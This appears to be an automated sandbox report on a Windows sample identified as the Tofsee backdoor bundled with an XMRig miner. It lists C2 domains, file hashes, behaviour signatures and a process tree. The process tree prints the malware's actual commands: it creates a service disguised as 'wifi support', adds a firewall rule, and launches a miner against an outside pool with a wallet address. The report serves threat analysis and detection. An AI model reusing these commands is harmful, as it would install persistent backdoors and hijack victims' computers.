Analysis

  • max time kernel
    181s
  • max time network
    196s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/11/2022, 18:29

General

  • Target
    file.exe
  • Size 184KB
  • Sample221130-w4xtbsdg47
  • SHA256 33dbfe82ab8f840bc7de23a02d6c7c08e98ca5e21d9bf1e53499baf3c3a1394e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1920
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fyrpxona\
      2⤵
        PID:4932
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tnpxtntm.exe" C:\Windows\SysWOW64\fyrpxona\
        2⤵
          PID:4152
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fyrpxona binPath= "C:\Windows\SysWOW64\fyrpxona\tnpxtntm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fyrpxona "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4752
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fyrpxona
          2⤵
          • Launches sc.exe
          PID:4488
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:380
      • C:\Windows\SysWOW64\fyrpxona\tnpxtntm.exe
        C:\Windows\SysWOW64\fyrpxona\tnpxtntm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4036
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:884
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4484

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            tnpxtntm.exe

            • Path C:\Users\Admin\AppData\Local\Temp\tnpxtntm.exe
            • Size 14.7MB
            • SHA256 cf7e566177359f3407e7f54e609f84c832c0fc2fbc3418f4bd40cabef233bfe5
            • MD5 SHA1 SHA512 SSDEEP

            tnpxtntm.exe

            • Path C:\Windows\SysWOW64\fyrpxona\tnpxtntm.exe
            • Size 14.7MB
            • SHA256 cf7e566177359f3407e7f54e609f84c832c0fc2fbc3418f4bd40cabef233bfe5
            • MD5 SHA1 SHA512 SSDEEP

            memory/884-158-0x00000000017E0000-0x00000000017E6000-memory.dmp

            memory/884-170-0x0000000001DF0000-0x0000000001DF7000-memory.dmp

            memory/884-153-0x0000000000460000-0x0000000000475000-memory.dmp

            memory/884-164-0x0000000001DE0000-0x0000000001DE5000-memory.dmp

            memory/884-161-0x00000000017F0000-0x0000000001800000-memory.dmp

            memory/884-155-0x0000000002400000-0x000000000260F000-memory.dmp

            memory/884-149-0x0000000000460000-0x0000000000475000-memory.dmp

            memory/884-167-0x0000000007300000-0x000000000770B000-memory.dmp

            memory/884-154-0x0000000000460000-0x0000000000475000-memory.dmp

            memory/1920-133-0x00000000004E0000-0x00000000004F3000-memory.dmp

            memory/1920-132-0x000000000054D000-0x000000000055D000-memory.dmp

            memory/1920-144-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/1920-134-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/1920-142-0x000000000054D000-0x000000000055D000-memory.dmp

            memory/1920-141-0x00000000004E0000-0x00000000004F3000-memory.dmp

            memory/4036-146-0x0000000000519000-0x0000000000529000-memory.dmp

            memory/4036-150-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/4036-147-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/4484-174-0x0000000001000000-0x00000000010F1000-memory.dmp

            memory/4484-179-0x0000000001000000-0x00000000010F1000-memory.dmp